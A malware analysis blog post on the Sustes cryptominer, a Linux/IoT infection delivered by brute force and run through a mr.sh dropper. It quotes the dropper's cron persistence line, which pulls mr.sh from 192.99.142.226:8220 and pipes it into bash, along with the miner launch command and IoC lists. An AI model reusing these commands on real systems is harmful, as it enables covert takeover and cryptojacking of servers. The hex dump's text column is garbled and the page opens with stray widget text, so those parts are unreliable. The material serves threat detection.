

Uh-oh

For a moment there it seemed that you were trying to peek into this Monero address:
4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
No?

Hmmm... It really looks like you were, like, trying to check out this dude's balance.

Well,

Monero says 'No!'

Monero stops you trying to check wallet balance

Sustes Malware doesn't infect victims by itself (it's not a worm) but it is spread over exploitation and brute-force activities with special focus on IoT and Linux servers. The initial infection stage comes from a custom wget ([http://V192\[.\]99\[.\]142\[.\]226\[.\]8220Vmr.sh](http://V192[.]99[.]142[.]226[.]8220Vmr.sh)) directly on the victim machine followed by a simple `/bin/bash mr.sh`. The script is a simple bash script which drops and executes additional software with a bit of spicity. The following code represents the `mr.sh` content as a today (ref. blog post date).

<https://gist.github.com/marcoramilli/a002b0620060e1804651565fc4026a4c.js>

An initial connection-check wants to take down unwanted software on the victim side (`awk '{print $7}' | sed -e "s/V.*//g"`) taking decisions upon specific IP addresses. It filters PID from connection states and it directly kills them (`kill -9`). The extracted attacker's unwanted communications are the following ones:

- 103[.]99[.]115[.]220 (Org: HOST EDU (OPC) PRIVATE LIMITED, Country: IN)
- 104[.]160[.]171[.]94 (Org: Sharktech Country: USA)
- 121[.]18[.]238[.]56 (Org: ChinaUnicom, Country: CN)
- 170[.]178[.]178[.]57 (Org: Sharktech Country: USA)
- 27[.]155[.]87[.]59 (Org: CHINANET-FJ Country: CN)
- 52[.]15[.]62[.]13 (Org: Amazon Technologies Inc., Country: USA)
- 52[.]15[.]72[.]79 (Org: HOST EDU (OPC) PRIVATE LIMITED, Country: IN)
- 91[.]236[.]182[.]1 (Org: Brilliant Auto Kft, Country: HU)

A second check comes from "command lines arguments". Sustes "greps" to search for configuration files (for example: `wc.conf` and `wq.conf` and `wm.conf`) then it looks for software names such as **sustes** (here we go !) and kills everything matches the "grep". The script follows by assigning to `f2` variable the dropping website (`192[.]99[.]142[.]226:8220`) and later-on it calls "`f2`" adding specific paths (for example: `/xm64` and `wt.conf`) in order to drop crafted components. `MR.sh` follows by running the dropped software with configuration file as follows:

```
nohup $DIR/sustes -c $DIR/wc.conf > /dev/null 2>&1 &
```

`MR.SH` ends up by setting a periodic crontab action on dropping and executing itself by setting up:

```
crontab -l 2>/dev/null; echo " * * * * * $LDR http://192.99.142.226:8220/mr.sh | bash -sh > /dev/null 2>&1"
```

Following the analysis and extracting the configuration file from dropping URL we might observe the Monero wallet addresses and the Monero Pools used by attacker. The following wallets (`W1`, `W2`, `W3`) were found.

- W1:
4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
- W2:
4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
- W3:
4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg

Quick analyses on the used Monero pools took me to believe the attacker built up a custom and private (deployed on private infrastructures) monero pool/proxies, for such a reason I believe it would be nice to monitor and/or block the following addresses:

- 158[.]69[.]133[.]20 on port 3333
- 192[.]99[.]142[.]249 on port 3333
- 202[.]144[.]193[.]110 on port 3333

The downloaded payload is named **sustes** and it is a basic `XMRIG`, which is a well-known opensource miner. In this scenario it is used to make money at the expense of computer users by abusing the infected computer to mine Monero, a cryptocurrency. The following image shows the usage strings as an initial proof of software.

```

00000000005D19C0 61 3A 63 3A 68 68 42 70 3A 50 78 3A 72 3A 52 3A a:c:khBp;Px:r:R:
00000000005D19D0 73 3A 74 3A 54 3A 6F 3A 75 3A 4F 3A 76 3A 56 6C s:r:Torus0Vw:Vl
00000000005D19E0 3A 53 00 00 00 00 00 00 00 00 00 00 00 00 00 00 s:.....
00000000005D19F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000000005D1A00 55 73 61 67 65 3A 20 78 6D 72 69 67 20 50 4F 50 usage: xmrig [OP
00000000005D1A10 54 49 4F 4E 53 50 0A 4F 70 74 69 6F 6E 73 3A 0A TIONS].Options:
00000000005D1A20 20 20 2D 61 2C 20 2D 2D 61 6C 67 6F 3D 41 4C 47 --a,--algo=ALG
00000000005D1A30 4F 20 20 20 20 20 20 20 20 20 20 63 72 79 70 74 0.....crypt
00000000005D1A40 6F 6E 69 67 68 74 20 28 64 65 66 61 75 6C 74 29 onight:(default)
00000000005D1A50 20 6F 72 20 63 72 79 70 74 6F 6E 69 67 68 74 2D for-cryptonight-
00000000005D1A60 6C 69 74 65 0A 20 20 2D 6F 2C 20 2D 2D 75 72 6C lite:--a,--url
00000000005D1A70 3D 55 52 4C 20 20 20 20 20 20 20 20 20 20 20 20 URL:.....
00000000005D1A80 55 52 4C 20 6F 66 20 6D 69 6E 69 6E 67 20 73 65 URL-of-mining-se
00000000005D1A90 72 76 65 72 0A 20 20 2D 4F 2C 20 2D 2D 75 73 65 rver:--o,--use
00000000005D1AA0 72 70 61 73 73 30 55 3A 50 20 20 20 20 20 20 20 rpass:UP:.....
00000000005D1AB0 75 73 65 72 6E 61 6D 65 3A 70 61 73 73 77 6F 72 username:password
00000000005D1AC0 64 20 70 61 69 72 20 66 6F 72 20 6D 69 6E 69 6E d-pair-for-minin
00000000005D1AD0 67 20 73 65 72 76 65 72 0A 20 20 2D 75 2C 20 2D g-server:--u,--u
00000000005D1AE0 2D 75 73 65 72 30 55 53 45 52 4E 41 4D 45 20 2D user=USERNAME|
00000000005D1AF0 20 20 20 20 75 73 65 72 6E 61 6D 65 20 66 6F 72 --username-for
00000000005D1B00 20 6D 69 6E 69 6E 67 20 73 65 72 76 65 72 0A 20 mining-server.
00000000005D1B10 20 2D 70 2C 20 2D 2D 70 61 73 73 30 50 41 53 53 --p,--pass=PASS
00000000005D1B20 57 4F 52 44 20 20 20 20 20 20 70 61 73 73 77 6F WORD:--passwo
00000000005D1B30 72 64 20 66 6F 72 20 6D 69 6E 69 6E 67 20 73 65 rd-for-mining-se
00000000005D1B40 72 76 65 72 0A 20 20 2D 74 2C 20 2D 2D 74 68 73 rver:--t,--thr
00000000005D1B50 65 61 64 73 3D 4E 20 20 20 20 20 20 20 20 20 20 eads=N:.....
00000000005D1B60 6E 75 6D 62 65 72 20 6F 66 20 6D 69 6E 65 72 20 number-of-miner-
00000000005D1B70 74 68 72 65 61 64 73 0A 20 20 2D 76 2C 20 2D 2D threads:--v,--
00000000005D1B80 61 76 3D 4E 20 20 20 20 20 20 20 20 20 20 20 20 avN:.....
00000000005D1B90 20 20 20 61 6C 6F 6F 72 69 74 68 6D 20 70 61 72 --algorithm=var
00000000005D1BA0 69 61 74 69 6F 6E 2C 20 30 20 61 75 74 6F 20 73 iation,--o:auto-s
00000000005D1BB0 65 6C 65 63 74 0A 20 20 2D 68 2C 20 2D 2D 68 65 elect,--k,--ke
00000000005D1BC0 65 70 61 6C 69 76 65 20 20 20 20 20 20 20 20 20 eepalive:.....
00000000005D1BD0 20 73 65 6E 64 20 68 65 65 70 61 6C 69 76 65 64 send-keepalive
00000000005D1BE0 20 68 6F 72 20 70 72 65 76 65 6E 74 20 74 69 6D for-prevent-tim
00000000005D1BF0 54 6F 75 74 20 20 6F 69 65 64 20 20 6F 6C 70 eout:--need-pool*

```

XMRIG prove 1

Many people are currently wondering what is the **substes** process which is draining a lot of PC resources (for example: [here](#), [here](#) and [here](#)) now we have an answer: it's a unwanted Miner. :D.

Hope you had fun

IoC

• IP Address:

- o 103[.]99[.]115[.]220 (Org: HOST EDU (OPC) PRIVATE LIMITED, Country: IN)
- o 104[.]160[.]171[.]94 (Org: Sharktech Country: USA)
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- o 27[.]155[.]87[.]59 (Org: CHINANET-FJ Country: CN)
- o 52[.]15[.]62[.]13 (Org: Amazon Technologies Inc., Country: USA)
- o 52[.]15[.]72[.]79 (Org: HOST EDU (OPC) PRIVATE LIMITED, Country: IN)
- o 91[.]236[.]182[.]1 (Org: Brillant Auto Kft, Country: HU)

• Custom Monero Pools:

- o 158[.]69[.]133[.]20:3333
- o 192[.]99[.]142[.]249:3333
- o 202[.]144[.]193[.]110:3333

• Wallets:

- o **W1:**
4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
- o **W2:**
4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
- o **W3:**
4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg